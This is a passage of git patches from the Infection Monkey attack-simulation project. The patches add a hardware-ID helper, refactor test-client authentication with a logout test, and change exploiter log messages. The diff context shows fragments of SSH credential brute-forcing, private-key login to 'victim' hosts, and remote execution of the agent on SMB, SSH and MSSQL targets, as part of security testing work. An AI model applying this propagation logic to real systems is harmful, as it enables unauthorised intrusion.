https://github.com/pyinstaller/pyinstaller/issues/7410 for # more details. + # UPDATE: This has been resolved in PyInstaller 5.8.0. Consider removing this lock, but + # leaving a comment here for future reference. with MultiprocessingPluginWrapper.process_start_lock: logger.debug("Invoking plugin.start()") plugin.start(**kwargs) From 2a57d66e1c0b255871f5e189f150e71070903118 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 29 Mar 2023 11:21:09 -0400 Subject: [PATCH 0959/1338] Common: Add common.environment.get_hardware_id() --- monkey/common/utils/environment.py | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/monkey/common/utils/environment.py b/monkey/common/utils/environment.py index 585b2cc7958..69d0de11cbc 100644 --- a/monkey/common/utils/environment.py +++ b/monkey/common/utils/environment.py @@ -1,5 +1,35 @@ import platform +import uuid +from contextlib import suppress + +from common.types import HardwareID def is_windows_os() -> bool: return platform.system() == "Windows" + + +def get_hardware_id() -> HardwareID: + if is_windows_os(): + return _get_hardware_id_windows() + + return _get_hardware_id_linux() + + +def _get_hardware_id_windows() -> HardwareID: + return uuid.getnode() + + +def _get_hardware_id_linux() -> HardwareID: + # Different compile-time parameters for Python on Linux can cause `uuid. getnode()` to yield + # different results. Calling `uuid._ip_getnode()` directly seems to be the most reliable way to + # get consistend IDs across different Python binaries. See + # https://github.com/guardicore/monkey/issues/3176 for more details + + with suppress(AttributeError): + machine_id = uuid._ip_getnode() # type: ignore [attr-defined] + + if machine_id is None: + machine_id = uuid.getnode() + + return machine_id From 8d01cbc4213bc1b353c396ce1c283474ea78c53f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 29 Mar 2023 11:21:49 -0400 Subject: [PATCH 0960/1338] Agent: Call common.environment.get_hardware_id() to get the machine ID --- monkey/infection_monkey/utils/ids.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/utils/ids.py b/monkey/infection_monkey/utils/ids.py index d100cac6817..55ecece9b05 100644 --- a/monkey/infection_monkey/utils/ids.py +++ b/monkey/infection_monkey/utils/ids.py @@ -1,6 +1,7 @@ -from uuid import getnode, uuid4 +from uuid import uuid4 from common.types import AgentID, HardwareID +from common.utils.environment import get_hardware_id def get_agent_id() -> AgentID: @@ -14,4 +15,4 @@ def get_agent_id() -> AgentID: def get_machine_id() -> HardwareID: """Get an integer that uniquely defines the machine the agent is running on""" - return getnode() + return get_hardware_id() From d732e81f5b716e597c20bb3ca69e0be2d0785b76 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 29 Mar 2023 11:22:43 -0400 Subject: [PATCH 0961/1338] Island: Call common.environment.get_hardware_id() to get the machine ID --- .../cc/repositories/utils/machine_repository_init.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/repositories/utils/machine_repository_init.py b/monkey/monkey_island/cc/repositories/utils/machine_repository_init.py index aedf8ffb6f4..7c036bd331e 100644 --- a/monkey/monkey_island/cc/repositories/utils/machine_repository_init.py +++ b/monkey/monkey_island/cc/repositories/utils/machine_repository_init.py @@ -1,10 +1,10 @@ import platform -from uuid import getnode from _socket import gethostname from common import OperatingSystem from common.network.network_utils import get_network_interfaces +from common.utils.environment import get_hardware_id from monkey_island.cc.models import Machine from monkey_island.cc.repositories import IMachineRepository, UnknownRecordError @@ -18,7 +18,7 @@ def initialize_machine_repository(machine_repository: IMachineRepository): :param machine_repository: The repository to populate :raises StorageError: If an error occurs while attempting to store data in the repository """ - hardware_id = getnode() + hardware_id = get_hardware_id() try: machine_repository.get_machine_by_hardware_id(hardware_id) From 9b190762079874c5cef7b80c68c282ecf7e687a8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 28 Mar 2023 21:21:52 +0000 Subject: [PATCH 0962/1338] BB: Extract ReauthorizingMonkeyIslandRequests class --- .../island_client/i_monkey_island_requests.py | 36 ++++++++++++ .../island_client/monkey_island_client.py | 6 +- .../island_client/monkey_island_requests.py | 36 +++--------- .../reauthorizing_monkey_island_requests.py | 56 +++++++++++++++++++ envs/monkey_zoo/blackbox/test_blackbox.py | 15 ++++- 5 files changed, 115 insertions(+), 34 deletions(-) create mode 100644 envs/monkey_zoo/blackbox/island_client/i_monkey_island_requests.py create mode 100644 envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py diff --git a/envs/monkey_zoo/blackbox/island_client/i_monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/i_monkey_island_requests.py new file mode 100644 index 00000000000..8bb05bb7ebe --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_client/i_monkey_island_requests.py @@ -0,0 +1,36 @@ +from abc import ABC, abstractmethod +from typing import Dict + + +class IMonkeyIslandRequests(ABC): + @abstractmethod + def get_token_from_server(self): + pass + + @abstractmethod + def get(self, url, data=None): + pass + + @abstractmethod + def post(self, url, data): + pass + + @abstractmethod + def put(self, url, data): + pass + + @abstractmethod + def put_json(self, url, json: Dict): + pass + + @abstractmethod + def post_json(self, url, json: Dict): + pass + + @abstractmethod + def patch(self, url, data: Dict): + pass + + @abstractmethod + def delete(self, url): + pass diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index d6fe66467b4..e0219fb0902 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -6,7 +6,7 @@ from common.credentials import Credentials from common.types import AgentID, MachineID -from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests +from envs.monkey_zoo.blackbox.island_client.i_monkey_island_requests import IMonkeyIslandRequests from envs.monkey_zoo.blackbox.test_configurations.test_configuration import TestConfiguration from monkey_island.cc.models import Agent, Machine, TerminateAllAgents @@ -26,8 +26,8 @@ def avoid_race_condition(func): class MonkeyIslandClient(object): - def __init__(self, server_address): - self.requests = MonkeyIslandRequests(server_address) + def __init__(self, requests: IMonkeyIslandRequests): + self.requests = requests def get_api_status(self): return self.requests.get("api") diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 5d283864347..c45dfe5cf4a 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -1,10 +1,10 @@ -import functools import logging -from http import HTTPStatus from typing import Dict import requests +from .i_monkey_island_requests import IMonkeyIslandRequests + ISLAND_USERNAME = "test" ISLAND_PASSWORD = "testtest" LOGGER = logging.getLogger(__name__) @@ -14,14 +14,14 @@ class InvalidRequestError(Exception): pass -class MonkeyIslandRequests: +class MonkeyIslandRequests(IMonkeyIslandRequests): def __init__(self, server_address): self.addr = f"https://{server_address}/" - self.token = self.try_get_token_from_server() + self.token = self._try_get_token_from_server() - def try_get_token_from_server(self): + def _try_get_token_from_server(self): try: - return self.try_set_island_to_credentials() + return self._try_set_island_to_credentials() except InvalidRequestError: return self.get_token_from_server() @@ -38,7 +38,7 @@ def get_token_from_server(self): token = resp.json()["response"]["user"]["authentication_token"] return token - def try_set_island_to_credentials(self): + def _try_set_island_to_credentials(self): resp = requests.post( # noqa: DUO123 self.addr + "api/register", json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD}, @@ -55,22 +55,6 @@ def try_set_island_to_credentials(self): token = resp.json()["response"]["user"]["authentication_token"] return token - class _Decorators: - @classmethod - def refresh_auth_token(cls, request_function): - @functools.wraps(request_function) - def request_function_wrapper(self, *args, **kwargs): - # noinspection PyArgumentList - resp = request_function(self, *args, **kwargs) - if resp.status_code == HTTPStatus.UNAUTHORIZED: - self.token = self.get_token_from_server() - resp = request_function(self, *args, **kwargs) - - return resp - - return request_function_wrapper - - @_Decorators.refresh_auth_token def get(self, url, data=None): return requests.get( # noqa: DUO123 self.addr + url, @@ -79,37 +63,31 @@ def get(self, url, data=None): verify=False, ) - @_Decorators.refresh_auth_token def post(self, url, data): return requests.post( # noqa: DUO123 self.addr + url, data=data, headers=self.get_auth_header(), verify=False ) - @_Decorators.refresh_auth_token def put(self, url, data): return requests.put( # noqa: DUO123 self.addr + url, data=data, headers=self.get_auth_header(), verify=False ) - @_Decorators.refresh_auth_token def put_json(self, url, json: Dict): return requests.put( # noqa: DUO123 self.addr + url, json=json, headers=self.get_auth_header(), verify=False ) - @_Decorators.refresh_auth_token def post_json(self, url, json: Dict): return requests.post( # noqa: DUO123 self.addr + url, json=json, headers=self.get_auth_header(), verify=False ) - @_Decorators.refresh_auth_token def patch(self, url, data: Dict): return requests.patch( # noqa: DUO123 self.addr + url, data=data, headers=self.get_auth_header(), verify=False ) - @_Decorators.refresh_auth_token def delete(self, url): return requests.delete( # noqa: DUO123 self.addr + url, headers=self.get_auth_header(), verify=False diff --git a/envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py new file mode 100644 index 00000000000..287178fd854 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py @@ -0,0 +1,56 @@ +import functools +from http import HTTPStatus +from typing import Dict + +from .i_monkey_island_requests import IMonkeyIslandRequests + + +class ReauthorizingMonkeyIslandRequests(IMonkeyIslandRequests): + def __init__(self, monkey_island_requests: IMonkeyIslandRequests): + self.requests = monkey_island_requests + + def get_token_from_server(self): + return self.requests.get_token_from_server() + + class _Decorators: + @classmethod + def refresh_auth_token(cls, request_function): + @functools.wraps(request_function) + def request_function_wrapper(self, *args, **kwargs): + # noinspection PyArgumentList + resp = request_function(self, *args, **kwargs) + if resp.status_code == HTTPStatus.UNAUTHORIZED: + self.token = self.get_token_from_server() + resp = request_function(self, *args, **kwargs) + + return resp + + return request_function_wrapper + + @_Decorators.refresh_auth_token + def get(self, url, data=None): + return self.requests.get(url, data=data) # noqa: DUO123 + + @_Decorators.refresh_auth_token + def post(self, url, data): + return self.requests.post(url, data=data) # noqa: DUO123 + + @_Decorators.refresh_auth_token + def put(self, url, data): + return self.requests.put(url, data=data) # noqa: DUO123 + + @_Decorators.refresh_auth_token + def put_json(self, url, json: Dict): + return self.requests.put_json(url, json=json) # noqa: DUO123 + + @_Decorators.refresh_auth_token + def post_json(self, url, json: Dict): + return self.requests.post_json(url, json=json) # noqa: DUO123 + + @_Decorators.refresh_auth_token + def patch(self, url, data: Dict): + return self.requests.patch(url, data=data) # noqa: DUO123 + + @_Decorators.refresh_auth_token + def delete(self, url): + return self.requests.delete(url) # noqa: DUO123 diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index a6429581f94..577d34ff70f 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -6,7 +6,12 @@ from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer +from envs.monkey_zoo.blackbox.island_client.i_monkey_island_requests import IMonkeyIslandRequests from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests +from envs.monkey_zoo.blackbox.island_client.reauthorizing_monkey_island_requests import ( + ReauthorizingMonkeyIslandRequests, +) from envs.monkey_zoo.blackbox.island_client.test_configuration_parser import get_target_ips from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler from envs.monkey_zoo.blackbox.test_configurations import ( @@ -63,11 +68,17 @@ def wait_machine_bootup(): sleep(MACHINE_BOOTUP_WAIT_SECONDS) +@pytest.fixture +def monkey_island_requests(island) -> IMonkeyIslandRequests: + return MonkeyIslandRequests(island) + + @pytest.fixture(scope="class") -def island_client(island): +def island_client(monkey_island_requests): client_established = False try: - island_client_object = MonkeyIslandClient(island) + requests = ReauthorizingMonkeyIslandRequests(monkey_island_requests) + island_client_object = MonkeyIslandClient(requests) client_established = island_client_object.get_api_status() except Exception: logging.exception("Got an exception while trying to establish connection to the Island.") From 64697c9155a1013cc503276f4749afed813f7384 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 28 Mar 2023 21:39:15 +0000 Subject: [PATCH 0963/1338] BB: Add MonkeyIslandClient.logout() --- .../blackbox/island_client/monkey_island_client.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index e0219fb0902..710b075393f 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -16,6 +16,7 @@ ISLAND_LOG_ENDPOINT = "api/island/log" GET_MACHINES_ENDPOINT = "api/machines" GET_AGENT_EVENTS_ENDPOINT = "api/agent-events" +LOGOUT_ENDPOINT = "api/logout" LOGGER = logging.getLogger(__name__) @@ -177,3 +178,10 @@ def get_agent_events(self): def is_all_monkeys_dead(self): agents = self.get_agents() return all((a.stop_time is not None for a in agents)) + + def logout(self): + if self.requests.post(LOGOUT_ENDPOINT, data=None).ok: + LOGGER.info("Logged out of the Island.") + else: + LOGGER.error("Failed to log out of the Island.") + assert False From 8225c8c970b404689ae1b2f416d44581fcc364a4 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 29 Mar 2023 14:08:52 +0000 Subject: [PATCH 0964/1338] BB: Add IMonkeyIslandRequests.login() --- .../blackbox/island_client/i_monkey_island_requests.py | 4 ++++ .../blackbox/island_client/monkey_island_requests.py | 3 +++ .../island_client/reauthorizing_monkey_island_requests.py | 5 ++++- 3 files changed, 11 insertions(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/island_client/i_monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/i_monkey_island_requests.py index 8bb05bb7ebe..bf5d16763ab 100644 --- a/envs/monkey_zoo/blackbox/island_client/i_monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/i_monkey_island_requests.py @@ -7,6 +7,10 @@ class IMonkeyIslandRequests(ABC): def get_token_from_server(self): pass + @abstractmethod + def login(self): + pass + @abstractmethod def get(self, url, data=None): pass diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index c45dfe5cf4a..932103a63cd 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -25,6 +25,9 @@ def _try_get_token_from_server(self): except InvalidRequestError: return self.get_token_from_server() + def login(self): + self.token = self.get_token_from_server() + def get_token_from_server(self): resp = requests.post( # noqa: DUO123 self.addr + "api/login", diff --git a/envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py index 287178fd854..8fb08ea6870 100644 --- a/envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py @@ -12,6 +12,9 @@ def __init__(self, monkey_island_requests: IMonkeyIslandRequests): def get_token_from_server(self): return self.requests.get_token_from_server() + def login(self): + self.requests.login() + class _Decorators: @classmethod def refresh_auth_token(cls, request_function): @@ -20,7 +23,7 @@ def request_function_wrapper(self, *args, **kwargs): # noinspection PyArgumentList resp = request_function(self, *args, **kwargs) if resp.status_code == HTTPStatus.UNAUTHORIZED: - self.token = self.get_token_from_server() + self.requests.login() resp = request_function(self, *args, **kwargs) return resp From 1d8c1796351751a3077309b1968991a2c1e9ae5f Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 29 Mar 2023 14:09:32 +0000 Subject: [PATCH 0965/1338] BB: Add MonkeyIslandClient.login() --- .../blackbox/island_client/monkey_island_client.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 710b075393f..8b27d48a6d0 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -179,6 +179,14 @@ def is_all_monkeys_dead(self): agents = self.get_agents() return all((a.stop_time is not None for a in agents)) + def login(self): + try: + self.requests.login() + LOGGER.info("Logged into the Island.") + except Exception: + LOGGER.error("Failed to log into the Island.") + assert False + def logout(self): if self.requests.post(LOGOUT_ENDPOINT, data=None).ok: LOGGER.info("Logged out of the Island.") From f77296d28ee28f7e4a7860e4aba73bd14975c7a3 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 28 Mar 2023 21:42:29 +0000 Subject: [PATCH 0966/1338] BB: Add a test for logout --- .../blackbox/gcp_test_machine_list.py | 1 + envs/monkey_zoo/blackbox/test_blackbox.py | 31 +++++++++++++++++++ 2 files changed, 32 insertions(+) diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index afa5057ce76..c698cdb4757 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -103,6 +103,7 @@ SMB_PTH = {"europe-west3-a": ["mimikatz-15"]} GCP_SINGLE_TEST_LIST = { + "test_logout": {}, "test_depth_2_a": DEPTH_2_A, "test_depth_1_a": DEPTH_1_A, "test_depth_3_a": DEPTH_3_A, diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 577d34ff70f..5357d63cfe0 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -88,6 +88,37 @@ def island_client(monkey_island_requests): yield island_client_object +@pytest.fixture +def simple_island_client(monkey_island_requests): + client_established = False + try: + island_client_object = MonkeyIslandClient(monkey_island_requests) + client_established = island_client_object.get_api_status() + except Exception: + logging.exception("Got an exception while trying to establish connection to the Island.") + finally: + if not client_established: + pytest.exit("BB tests couldn't establish communication to the island.") + yield island_client_object + + +def test_logout(simple_island_client): + simple_island_client.login() + simple_island_client.logout() + + with pytest.raises(Exception): + simple_island_client.get_agents() + + with pytest.raises(Exception): + simple_island_client.get_machines() + + with pytest.raises(Exception): + simple_island_client.get_island_log() + + with pytest.raises(Exception): + simple_island_client.run_monkey_local() + + # NOTE: These test methods are ordered to give time for the slower zoo machines # to boot up and finish starting services. @pytest.mark.usefixtures("island_client") From 5b7451a36dd302ec87de3b2a3c277c2dd5a78501 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 29 Mar 2023 13:07:50 -0400 Subject: [PATCH 0967/1338] BB: Refactor test_logout() The test is now coded defensively to prevent implementation details of MonkeyIslandRequests from affecting the results. --- envs/monkey_zoo/blackbox/test_blackbox.py | 64 ++++++++++++----------- 1 file changed, 34 insertions(+), 30 deletions(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 5357d63cfe0..70da039a361 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -1,5 +1,6 @@ import logging import os +from http import HTTPStatus from time import sleep import pytest @@ -7,7 +8,13 @@ from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer from envs.monkey_zoo.blackbox.island_client.i_monkey_island_requests import IMonkeyIslandRequests -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import ( + GET_AGENTS_ENDPOINT, + GET_MACHINES_ENDPOINT, + ISLAND_LOG_ENDPOINT, + LOGOUT_ENDPOINT, + MonkeyIslandClient, +) from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests from envs.monkey_zoo.blackbox.island_client.reauthorizing_monkey_island_requests import ( ReauthorizingMonkeyIslandRequests, @@ -88,35 +95,32 @@ def island_client(monkey_island_requests): yield island_client_object -@pytest.fixture -def simple_island_client(monkey_island_requests): - client_established = False - try: - island_client_object = MonkeyIslandClient(monkey_island_requests) - client_established = island_client_object.get_api_status() - except Exception: - logging.exception("Got an exception while trying to establish connection to the Island.") - finally: - if not client_established: - pytest.exit("BB tests couldn't establish communication to the island.") - yield island_client_object - - -def test_logout(simple_island_client): - simple_island_client.login() - simple_island_client.logout() - - with pytest.raises(Exception): - simple_island_client.get_agents() - - with pytest.raises(Exception): - simple_island_client.get_machines() - - with pytest.raises(Exception): - simple_island_client.get_island_log() - - with pytest.raises(Exception): - simple_island_client.run_monkey_local() +@pytest.mark.parametrize( + "authenticated_endpoint", + [ + GET_AGENTS_ENDPOINT, + ISLAND_LOG_ENDPOINT, + GET_MACHINES_ENDPOINT, + ], +) +def test_logout(monkey_island_requests, authenticated_endpoint): + # Prove that we can't access authenticated endpoints without logging in + resp = monkey_island_requests.get(authenticated_endpoint) + assert resp.status_code == HTTPStatus.UNAUTHORIZED + + # Prove that we can access authenticated endpoints after logging in + monkey_island_requests.login() + resp = monkey_island_requests.get(authenticated_endpoint) + assert resp.ok + + # Log out - NOTE: This is an "out-of-band" call to logout. DO NOT call + # `monkey_island_request.logout()`. This could allow implementation details of the + # MonkeyIslandRequests class to cause false positives. + monkey_island_requests.post(LOGOUT_ENDPOINT, data=None) + + # Prove that we can't access authenticated endpoints after logging out + resp = monkey_island_requests.get(authenticated_endpoint) + assert resp.status_code == HTTPStatus.UNAUTHORIZED # NOTE: These test methods are ordered to give time for the slower zoo machines From 70aa794a038b546d1a238106354cb9012ac03873 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 30 Mar 2023 13:20:52 +0200 Subject: [PATCH 0968/1338] BB: Fix island fixtures scope Issue: #3122 PR: #3178 --- envs/monkey_zoo/blackbox/test_blackbox.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 70da039a361..84b466c630b 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -75,12 +75,12 @@ def wait_machine_bootup(): sleep(MACHINE_BOOTUP_WAIT_SECONDS) -@pytest.fixture +@pytest.fixture(scope="module") def monkey_island_requests(island) -> IMonkeyIslandRequests: return MonkeyIslandRequests(island) -@pytest.fixture(scope="class") +@pytest.fixture(scope="class", autouse=True) def island_client(monkey_island_requests): client_established = False try: @@ -125,7 +125,6 @@ def test_logout(monkey_island_requests, authenticated_endpoint): # NOTE: These test methods are ordered to give time for the slower zoo machines # to boot up and finish starting services. -@pytest.mark.usefixtures("island_client") # noinspection PyUnresolvedReferences class TestMonkeyBlackbox: @staticmethod From 9b69f090f9b3c4e389f4de338b4f7dcb6069a10a Mon Sep 17 00:00:00 2001 From: ordabach Date: Tue, 28 Mar 2023 08:50:31 +0000 Subject: [PATCH 0969/1338] SMB: Log only target host ip --- monkey/agent_plugins/exploiters/smb/src/smb_client.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 787588409bb..8077d243e1f 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -82,16 +82,16 @@ def _create_smb_connection(self, host: TargetHost): ) return except SessionError as err: - logger.debug(f"Failed to create SMB connection to {host} on port 445: {err}") + logger.debug(f"Failed to create SMB connection to {host.ip} on port 445: {err}") try: # "*SMBSERVER" and port 139 is a special case. See doc for SMBConnection self._smb_connection = SMBConnection("*SMBSEVER", str(host.ip), sess_port=139) return except SessionError as err: - logger.debug(f"Failed to create SMB connection to {host} on port 139: {err}") + logger.debug(f"Failed to create SMB connection to {host.ip} on port 139: {err}") - raise Exception(f"Failed to create SMB connection to {host}") + raise Exception(f"Failed to create SMB connection to {host.ip}") def _smb_login(self, credentials: Credentials): """Raise SessionError if login fails""" From 8518f2c274e53a4a4cd44514a503117d6238595f Mon Sep 17 00:00:00 2001 From: ordabach Date: Tue, 28 Mar 2023 08:53:33 +0000 Subject: [PATCH 0970/1338] Agent: Log only target host ip --- monkey/infection_monkey/exploit/mssqlexec.py | 4 +-- monkey/infection_monkey/exploit/sshexec.py | 25 +++++++++++-------- .../exploit/tools/brute_force_exploiter.py | 4 +-- monkey/infection_monkey/exploit/web_rce.py | 2 +- monkey/infection_monkey/exploit/wmiexec.py | 14 +++++------ monkey/infection_monkey/exploit/zerologon.py | 2 +- monkey/infection_monkey/master/propagator.py | 7 +++--- monkey/infection_monkey/puppet/puppet.py | 2 +- .../infection_monkey/master/mock_puppet.py | 2 +- 9 files changed, 33 insertions(+), 29 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 92c348b91c6..fe7aef64f1d 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -69,7 +69,7 @@ def _exploit_host(self) -> ExploiterResultData: self.cursor = self._brute_force(str(self.host.ip), self.SQL_DEFAULT_TCP_PORT, creds) except FailedExploitationError: error_message = ( - f"Failed brute-forcing of MSSQL server on {self.host}," + f"Failed brute-forcing of MSSQL server on {self.host.ip}," f" no credentials were successful" ) logger.error(error_message) @@ -85,7 +85,7 @@ def _exploit_host(self) -> ExploiterResultData: except Exception as e: error_message = ( f"An unexpected error occurred when trying " - f"to exploit MSSQL on host {self.host}: {e}" + f"to exploit MSSQL on host {self.host.ip}: {e}" ) logger.error(error_message) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 2ead4795762..cf55ec28244 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -100,7 +100,7 @@ def exploit_with_ssh_keys(self, port: NetworkPort) -> paramiko.SSHClient: allow_agent=False, ) logger.debug( - "Successfully logged in %s using %s users private key", self.host, ssh_string + "Successfully logged in %s using %s users private key", self.host.ip, ssh_string ) self.add_vuln_port(port) self.exploit_result.exploitation_success = True @@ -110,7 +110,8 @@ def exploit_with_ssh_keys(self, port: NetworkPort) -> paramiko.SSHClient: except paramiko.AuthenticationException as err: ssh.close() error_message = ( - f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" + f"Failed logging into victim {self.host.ip} with {ssh_string} " + f"private key: {err}" ) logger.info(error_message) self._publish_exploitation_event(timestamp, False, error_message=error_message) @@ -158,7 +159,7 @@ def exploit_with_login_creds(self, port: NetworkPort) -> paramiko.SSHClient: allow_agent=False, ) - logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) + logger.debug("Successfully logged in %r using SSH. User: %s", self.host.ip, user) self.add_vuln_port(port) self.exploit_result.exploitation_success = True self._publish_exploitation_event(timestamp, True) @@ -166,7 +167,9 @@ def exploit_with_login_creds(self, port: NetworkPort) -> paramiko.SSHClient: return ssh except paramiko.AuthenticationException as err: - error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" + error_message = ( + f"Failed logging into victim {self.host.ip} with user: {user}: {err}" + ) logger.debug(error_message) self._publish_exploitation_event(timestamp, False, error_message=error_message) self.report_login_attempt(False, user, current_password) @@ -174,7 +177,7 @@ def exploit_with_login_creds(self, port: NetworkPort) -> paramiko.SSHClient: continue except Exception as err: error_message = ( - f"Unexpected error while attempting to login to {self.host} with password: " + f"Unexpected error while attempting to login to {self.host.ip} with password: " f"{err}" ) logger.error(error_message) @@ -187,7 +190,7 @@ def _exploit_host(self) -> ExploiterResultData: port = self._get_ssh_port() if not self._is_port_open(self.host.ip, port): - self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" + self.exploit_result.error_message = f"SSH port is closed on {self.host.ip}, skipping" logger.info(self.exploit_result.error_message) return self.exploit_result @@ -225,7 +228,7 @@ def _exploit(self, port: NetworkPort) -> paramiko.SSHClient: def _propagate(self, ssh: paramiko.SSHClient): agent_binary_file_object = self._get_agent_binary(ssh) if agent_binary_file_object is None: - raise RuntimeError(f"Can't find suitable monkey executable for host {self.host}") + raise RuntimeError(f"Can't find suitable monkey executable for host {self.host.ip}") if self._is_interrupted(): raise RuntimeError("Propagation was interrupted") @@ -247,7 +250,7 @@ def _propagate(self, ssh: paramiko.SSHClient): logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", monkey_path_on_victim, - self.host, + self.host.ip, cmdline, ) @@ -256,7 +259,7 @@ def _propagate(self, ssh: paramiko.SSHClient): self.add_executed_cmd(cmdline) except Exception as exc: - error_message = f"Error running monkey on victim {self.host}: ({exc})" + error_message = f"Error running monkey on victim {self.host.ip}: ({exc})" self._publish_propagation_event(timestamp, False, error_message=error_message) raise FailedExploitationError(error_message) @@ -293,7 +296,7 @@ def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: logger.error(self.exploit_result.error_message) return False except Exception as exc: - logger.error(f"Error running uname os command on victim {self.host}: ({exc})") + logger.error(f"Error running uname os command on victim {self.host.ip}: ({exc})") return False return True @@ -329,7 +332,7 @@ def _upload_agent_binary( return ScanStatus.USED except Exception as exc: - error_message = f"Error 